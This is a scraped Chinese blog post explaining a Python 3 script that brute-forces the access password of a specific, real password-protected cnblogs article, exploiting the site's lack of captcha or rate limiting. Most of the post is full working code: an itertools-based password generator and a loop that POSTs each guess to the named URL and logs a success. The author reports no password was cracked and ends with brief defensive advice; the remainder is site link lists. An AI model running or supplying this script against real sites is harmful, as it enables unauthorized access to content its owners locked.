python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
最基础的Python的socket编程入门教程
Apr 23 Python
在Python中使用元类的教程
Apr 28 Python
python 连接sqlite及简单操作
Jun 30 Python
Windows下的Jupyter Notebook 安装与自定义启动(图文详解)
Feb 21 Python
Python 实现使用dict 创建二维数据、DataFrame
Apr 13 Python
python批量替换多文件字符串问题详解
Apr 22 Python
使用Python通过win32 COM实现Word文档的写入与保存方法
May 08 Python
Python数据可视化:泊松分布详解
Dec 07 Python
Python之Class&Object用法详解
Dec 25 Python
解决jupyter运行pyqt代码内核重启的问题
Apr 16 Python
浅谈Python3中print函数的换行
Aug 05 Python
如何在Python中创建二叉树
Mar 30 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
Linux下 php5 MySQL5 Apache2 phpMyAdmin ZendOptimizer安装与配置[图文]
2008/11/18 PHP
PHP file_exists问题杂谈
2012/05/07 PHP
解析PHP中的正则表达式以及模式匹配
2013/06/19 PHP
推荐一本PHP程序猿都应该拜读的书
2014/12/31 PHP
利用php获得flv视频长度的实例代码
2017/10/26 PHP
Laravel框架分页实现方法分析
2018/06/12 PHP
js escape,unescape解决中文乱码问题的方法
2010/05/26 Javascript
instanceof和typeof运算符的区别详解
2014/01/06 Javascript
jquery实现滑屏大图定时收缩为小banner图片的广告代码
2015/09/02 Javascript
简单的JS轮播图代码
2016/07/18 Javascript
jquery实用技巧之输入框提示语句
2016/07/28 Javascript
js addDqmForPP给标签内属性值加上双引号的函数
2016/12/24 Javascript
微信小程序 页面跳转传递值几种方法详解
2017/01/12 Javascript
angular 动态组件类型详解(四种组件类型)
2017/02/22 Javascript
js清除浏览器缓存的几种方法
2017/03/15 Javascript
xmlplus组件设计系列之文本框(TextBox)(3)
2017/05/03 Javascript
ES6/JavaScript使用技巧分享
2017/12/14 Javascript
JavaScript获取移动设备型号的实现代码(JS获取手机型号和系统)
2018/03/10 Javascript
vue-cli中使用高德地图的方法示例
2019/03/28 Javascript
3分钟了解vue数据劫持的原理实现
2019/05/01 Javascript
微信小程序通过一个json实现分享朋友圈图片
2019/09/03 Javascript
Python中函数的多种格式和使用实例及小技巧
2015/04/13 Python
简单学习Python time模块
2016/04/29 Python
Python利用字典将两个通讯录文本合并为一个文本实例
2018/01/16 Python
详解python使用pip安装第三方库(工具包)速度慢、超时、失败的解决方案
2018/12/02 Python
Python弹出输入框并获取输入值的实例
2019/06/18 Python
python使用writerows写csv文件产生多余空行的处理方法
2019/08/01 Python
pyqt5中动画的使用详解
2020/04/01 Python
如何写python的配置文件
2020/06/07 Python
End Clothing美国站:英国男士潮牌商城
2018/04/20 全球购物
芝加哥牛排公司:Chicago Steak Company
2018/10/31 全球购物
文秘人员工作职责
2014/01/31 职场文书
2014五一国际劳动节活动总结范文
2014/04/14 职场文书
离职证明格式样本
2015/06/12 职场文书
小学思想品德教学反思
2016/02/24 职场文书
2016年离婚协议书范文
2016/03/18 职场文书